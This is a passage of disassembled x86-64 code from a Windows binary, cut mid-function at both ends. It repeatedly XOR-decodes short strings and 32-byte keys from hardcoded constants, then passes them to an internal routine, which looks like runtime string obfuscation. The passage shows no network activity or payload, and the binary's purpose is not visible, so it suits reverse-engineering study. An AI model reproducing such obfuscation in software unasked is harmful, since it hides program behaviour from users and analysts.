or rcx, 4
movzx ecx, byte [rcx + r10]
mov rsi, rdi
or rsi, 5
movzx ebp, byte [rsi + r10]
mov rsi, rdi
or rsi, 6
mov rdx, rdi
or rdx, 7
movzx esi, byte [rsi + r10]
movzx edx, byte [rdx + r10]
shl rdx, 0x38
shl rsi, 0x30
or rsi, rdx
shl rbp, 0x28
shl rcx, 0x20
shl r14, 0x18
shl r11, 0x10
shl rbx, 8
or rbx, r8
or rbx, r11
or rbx, r14
or rbx, rcx
or rbx, rbp
or rbx, rsi
xor rbx, qword [rax + rdi]
mov qword [rsp + rdi + 0x340], rbx
mov edi, 8
test r9b, 1
mov r9d, 0
jne 0x140125eac
mov ecx, 0x10
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
movdqa xmm0, xmmword [rsp + 0x340]
movdqu xmmword [rdx], xmm0
lea rax, [0x140365134]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x57497553213c2be8
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008c63
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f8c8]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140125fbc
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0x10
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x14012605d
cmp qword [rsp + 0x280], 0
je 0x14012605d
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140367db7]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x3da4dfd7603a4a9e
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a0a8
movabs rbx, 0x66e142c036d02391
xor rbx, qword [rax]
movzx ebp, byte [rax + 0xa]
movzx esi, word [rax + 8]
xor esi, 0xd61c
xor bpl, 0x95
mov ecx, 0xb
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov qword [rdx], rbx
mov word [rdx + 8], si
mov byte [rdx + 0xa], bpl
lea rax, fcn.1400e6d40
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x31a0e342d48c1623
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009b0c
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f8e8]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140126109
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xb
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x1401261aa
cmp qword [rsp + 0x280], 0
je 0x1401261aa
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14036dcee]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x91f257ef358c4fd4
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009dd2
movabs rbx, 0x932fe5045f0de446
xor rbx, qword [rax]
mov ebp, 0x9e650aa3
xor ebp, dword [rax + 8]
movzx esi, byte [rax + 0xe]
movzx edi, word [rax + 0xc]
xor edi, 0xd25b
xor sil, 0x1f
mov ecx, 0xf
call fcn.140047b2b
mov r14, rax
mov r8, r15
mov r15, rdx
mov qword [rdx], rbx
mov dword [rdx + 8], ebp
mov word [rdx + 0xc], di
mov byte [rdx + 0xe], sil
lea rax, [0x14036272c]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x251b29ebbfbe99bd
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400097b9
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f908]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140126264
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], r15
mov qword [r8 + 0x10], 0xf
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140126305
cmp qword [rsp + 0x280], 0
je 0x140126305
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14036bbd3]
mov qword [rsp + 0x30], rax
lea r15, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x46a127ff81137af1
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400096dd
movabs rsi, 0x3e10da5343ea948e
xor rsi, qword [rax]
mov ebp, 0x8e0fb73e
xor ebp, dword [rax + 8]
mov bl, byte [rax + 0xc]
xor bl, 0xa
mov ecx, 0xd
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov qword [rdx], rsi
mov dword [rdx + 8], ebp
mov byte [rdx + 0xc], bl
lea rax, [0x140368d46]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xa18166a41e939b54
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a38d
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f928]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x1401263b0
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xd
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140126451
cmp qword [rsp + 0x280], 0
je 0x140126451
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140365025]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x4caf4e48baccc6b0
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009acf
mov ecx, dword [rax]
mov bl, byte [rax + 4]
xor bl, 0x1a
mov ebp, 0xd6445e91
xor rbp, rcx
mov ecx, 5
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov byte [rdx + 4], bl
mov dword [rdx], ebp
lea rax, [0x14036b08d]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xda2dcf81895d0ebc
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008b69
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f948]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x1401264e8
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 5
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140126589
cmp qword [rsp + 0x280], 0
je 0x140126589
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14036ddd9]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x90db9c2b2bd7be4c
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400092be
mov ecx, dword [rax]
movzx ebx, word [rax + 4]
xor ebx, 0x4e6a
mov ebp, 0x9573109a
xor rbp, rcx
mov ecx, 6
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov word [rdx + 4], bx
mov dword [rdx], ebp
lea rax, [0x140361a9f]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x4cf5921f742d2883
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400091cf
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f968]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140126625
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 6
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x1401266c6
cmp qword [rsp + 0x280], 0
je 0x1401266c6
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140362561]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x1cc5858dfb070f90
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008d0f
movabs rbx, 0xa648d8d8507a6d36
xor rbx, qword [rax]
mov ebp, 0x17234851
xor ebp, dword [rax + 8]
mov ecx, 0xc
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov qword [rdx], rbx
mov dword [rdx + 8], ebp
lea rax, [0x140366c16]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xf4e5e8a8d68fbc08
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000915b
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f988]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140126763
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xc
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140126804
cmp qword [rsp + 0x280], 0
je 0x140126804
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14036e1d9]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x3768fe95abca2f2
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009305
movabs rsi, 0xb4e52a0570559f78
xor rsi, qword [rax]
mov ebp, 0x2515d837
xor ebp, dword [rax + 8]
mov bl, byte [rax + 0xc]
xor bl, 0xfe
mov ecx, 0xd
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov qword [rdx], rsi
mov dword [rdx + 8], ebp
mov byte [rdx + 0xc], bl
lea rax, [0x14036ceed]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x5cf99facfc699ebb
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009a8f
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f9a8]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x1401268aa
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xd
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x14012694b
cmp qword [rsp + 0x280], 0
je 0x14012694b
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140366145]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xe91f8c133ebbd01b
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000955a
movabs rbx, 0xce8a55d81b3f5625
xor rbx, qword [rax]
movzx ebp, byte [rax + 0xa]
movzx esi, word [rax + 8]
xor esi, 0xefc0
xor bpl, 0x13
mov ecx, 0xb
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov qword [rdx], rbx
mov word [rdx + 8], si
mov byte [rdx + 0xa], bpl
lea rax, [0x1403614ea]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xedbec3a83b102b61
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008b46
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f9c8]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x1401269f7
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xb
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140126a98
cmp qword [rsp + 0x280], 0
je 0x140126a98
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140368c6c]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xcccd9233ba79c995
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a05e
movabs rsi, 0xb2e2522795f3bb86
xor rsi, qword [rax]
mov ebp, 0xec7f00f4
xor ebp, dword [rax + 8]
mov bl, byte [rax + 0xc]
xor bl, 0x44
mov ecx, 0xd
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov qword [rdx], rsi
mov dword [rdx + 8], ebp
mov byte [rdx + 0xc], bl
lea rax, [0x140369344]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x52462d187f756bc8
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009bad
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f9e8]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140126b3e
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xd
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140126bdf
cmp qword [rsp + 0x280], 0
je 0x140126bdf
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14036e025]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x3620526354ef3566
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a123
movabs rbx, 0xd5fec78ef2b72541
xor rbx, qword [rax]
mov ebp, 0xacef2029
xor ebp, dword [rax + 8]
mov ecx, 0xc
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov qword [rdx], rbx
mov dword [rdx + 8], ebp
lea rax, [0x14036e225]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x717ed030058089c6
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000962c
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036fa08]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140126c7c
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xc
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140126d1d
cmp qword [rsp + 0x280], 0
je 0x140126d1d
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140368017]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xbdfd8b95862a687
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008ea9
mov ebx, dword [rax]
movzx ebp, word [rax + 4]
xor ebp, 0x2450
xor rbx, 0x771c36b5
mov ecx, 6
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov word [rdx + 4], bp
mov dword [rdx], ebx
lea rax, [0x1403638cf]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xf62c109cc0ac728c
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009784
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036fa28]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140126db8
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 6
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140126e59
cmp qword [rsp + 0x280], 0
je 0x140126e59
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140369e04]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xb253fb395132545d
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a2bf
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x340], xmm0
mov r9b, 1
xor edi, edi
lea r10, [0x14036fa48]
movzx r8d, byte [rdi + r10]
mov rcx, rdi
or rcx, 1
movzx ebx, byte [rcx + r10]
mov rcx, rdi
or rcx, 2
movzx r11d, byte [rcx + r10]
mov rcx, rdi
or rcx, 3
movzx r14d, byte [rcx + r10]
mov rcx, rdi
or rcx, 4
movzx ecx, byte [rcx + r10]
mov rsi, rdi
or rsi, 5
movzx ebp, byte [rsi + r10]
mov rsi, rdi
or rsi, 6
mov rdx, rdi
or rdx, 7
movzx esi, byte [rsi + r10]
movzx edx, byte [rdx + r10]
shl rdx, 0x38
shl rsi, 0x30
or rsi, rdx
shl rbp, 0x28
shl rcx, 0x20
shl r14, 0x18
shl r11, 0x10
shl rbx, 8
or rbx, r8
or rbx, r11
or rbx, r14
or rbx, rcx
or rbx, rbp
or rbx, rsi
xor rbx, qword [rax + rdi]
mov qword [rsp + rdi + 0x340], rbx
mov edi, 8
test r9b, 1
mov r9d, 0
jne 0x140126e9c
mov al, byte [rax + 0x10]
xor al, 0x20
mov byte [rsp + 0x350], al
mov ecx, 0x11
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
movdqa xmm0, xmmword [rsp + 0x340]
movdqu xmmword [rdx], xmm0
mov al, byte [rsp + 0x350]
mov byte [rdx + 0x10], al
lea rax, [0x140362484]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xaa3340d8117afc57
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008dec
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036fa59]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140126fc2
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0x11
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140127063
cmp qword [rsp + 0x280], 0
je 0x140127063
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x1403678cb]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x5b33c78a26403d6a
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009987
mov ebx, 0x8ca787a6
xor ebx, dword [rax]
mov ecx, 4
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov dword [rdx], ebx
lea rax, [0x14036674b]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x6d3a4d05c2cf0ad9
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008d60
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036fa79]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x1401270ee
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 4
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x14012718f
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov rbp, qword [rsp + 0x3b8]
mov dword [rbp + 4], edx
mov dword [rbp + 1], ecx
movups xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rcx
mov byte [rbp], al
mov rsi, qword [rsp + 0x3c0]
mov r12, qword [rsp + 0x418]
mov rbp, qword [rsp + 0x270]
jmp 0x140128e62
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov rbp, qword [rsp + 0x3b8]
mov dword [rbp + 4], edx
mov dword [rbp + 1], ecx
movups xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rcx
mov byte [rbp], al
mov rsi, qword [rsp + 0x3c0]
mov r12, qword [rsp + 0x418]
mov rbp, qword [rsp + 0x270]
jmp 0x140128e2a
